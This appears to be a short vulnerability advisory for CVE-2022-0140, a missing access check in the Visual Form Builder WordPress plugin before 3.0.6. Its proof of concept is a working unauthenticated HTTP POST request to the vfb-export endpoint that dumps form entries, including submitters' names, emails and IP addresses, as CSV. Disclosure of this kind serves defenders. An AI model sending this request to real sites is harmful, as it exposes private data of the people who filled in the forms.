Visual Form Builder < 3.0.6 – Unauthenticated Information Disclosure | CVE 2022-0140

Description

The plugin does not perform access control on entry form export, allowing unauthenticated users to see the form entries or export it as a CSV File using the vfb-export endpoint.

Proof of Concept

POST /wp-admin/admin.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 427

page=vfb-export&vfb-content=entries&format=csv&entries_form_id=*&entries_start_date=0&e
ntries_end_date=0&entries_page=1&entries_columns%5B%5D=Entries+ID&entries_columns
%5B%5D=Date+Submitted&entries_columns%5B%5D=IP+Address&entries_columns%5B%5
D=Subject&entries_columns%5B%5D=Sender+Name&entries_columns%5B%5D=Sender+E
mail&entries_columns%5B%5D=Emailed+To&entries_columns%5B%5D=Textarea%7B%7B1
5%7D%7D&submit=Download+Export+File